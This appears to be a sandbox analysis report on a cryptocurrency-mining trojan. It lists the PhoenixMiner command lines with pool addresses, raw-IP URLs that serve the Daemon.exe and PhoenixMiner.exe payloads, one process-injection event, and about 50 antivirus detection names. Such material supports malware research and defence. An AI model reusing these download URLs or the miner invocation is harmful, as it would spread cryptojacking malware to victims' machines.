cmdline	"C:\ProgramData\DaemonL\PhoenixMiner.exe" -pool stratum+tcp://eu.emcd.io:7777 -pool2 stratum+tcp://eu2.emcd.io:7777 -wal patriot.hi -gpow 30 -gt 6 -log 0
cmdline	C:\ProgramData\DaemonL\PhoenixMiner.exe -pool stratum+tcp://eu.emcd.io:7777 -pool2 stratum+tcp://eu2.emcd.io:7777 -wal patriot.hi -gpow 30 -gt 6 -log 0

Found URLs in memory pointing to an IP address rather than a domain (potentially indicative of Command & Control traffic) (5 events)

url	http://175.208.134.150:8282/test/test.eml
url	http://194.147.115.117/zzztop/Daemon.exe
url	http://175.208.134.150:8282/favicon.ico
url	http://175.208.134.150:8282/test/exe1.zip
url	http://194.147.115.117/zzztop/PhoenixMiner.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 3576 resumed a thread in remote process 8400
NtResumeThread March 9, 2021, 1:25 p.m.	thread_handle: 0x00000374 suspend_count: 1 process_identifier: 8400	1	0	0

File has been identified by 52 AntiVirus engines on VirusTotal as malicious (50 out of 52 events)

Bkav	W32.AIDetect.malware2
MicroWorld-eScan	Trojan.GenericKD.35178963
FireEye	Generic.mg.dd3de309df5791a3
McAfee	RDN/Generic.grp
Cylance	Unsafe
Sangfor	Trojan.Win32.Save.a
Alibaba	Trojan:Win32/Miner.47288b53
K7GW	Riskware ( 0040eff71 )
K7AntiVirus	Riskware ( 0040eff71 )
Arcabit	Trojan.Generic.D218C9D3
Cyren	W32/Trojan.OEMZ-1530
Symantec	Trojan.Gen.MBT
APEX	Malicious
Avast	Win32:Malware-gen
Kaspersky	Trojan.Win32.Miner.asymy
BitDefender	Trojan.GenericKD.35178963
NANO-Antivirus	Trojan.Win32.Miner.ibsfzb
Paloalto	generic.ml
ViRobot	Trojan.Win32.S.Downloader.930304
Tencent	Win32.Trojan.Miner.Wskb
Ad-Aware	Trojan.GenericKD.35178963
Sophos	Mal/Generic-S
Comodo	Malware@#1j0dbpw0m95gv
F-Secure	Heuristic.HEUR/AGEN.1100129
DrWeb	Trojan.Siggen10.65501
VIPRE	Trojan.Win32.Generic!BT
TrendMicro	TROJ_GEN.R06BC0PKF20
McAfee-GW-Edition	BehavesLike.Win32.TrojanAitInject.dh
Emsisoft	Trojan.CoinMiner (A)
Webroot	W32.Trojan.Gen
Avira	HEUR/AGEN.1100129
eGambit	Unsafe.AI_Score_94%
Gridinsoft	Trojan.Win32.CoinMiner.oa
Microsoft	Trojan:Win32/Masson.A!rfn
AegisLab	Hacktool.Win32.Gamehack.3!e
ZoneAlarm	Trojan.Win32.Miner.asymy
GData	Trojan.GenericKD.35178963
Cynet	Malicious (score: 90)
AhnLab-V3	Malware/Win32.Generic.C4225435
VBA32	Trojan.Script
ALYac	Trojan.GenericKD.35178963
MAX	malware (ai score=100)
Malwarebytes	Generic.Malware/Suspicious
ESET-NOD32	a variant of Win32/CoinMiner.CFD
TrendMicro-HouseCall	TROJ_GEN.R06BC0PKF20
Ikarus	Trojan.Win32.CoinMiner
MaxSecure	Trojan.Malware.300983.susgen
Fortinet	AutoIt/Agent.OUJ!tr.dldr
AVG	Win32:Malware-gen
Cybereason	malicious.9df579

Daemon.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All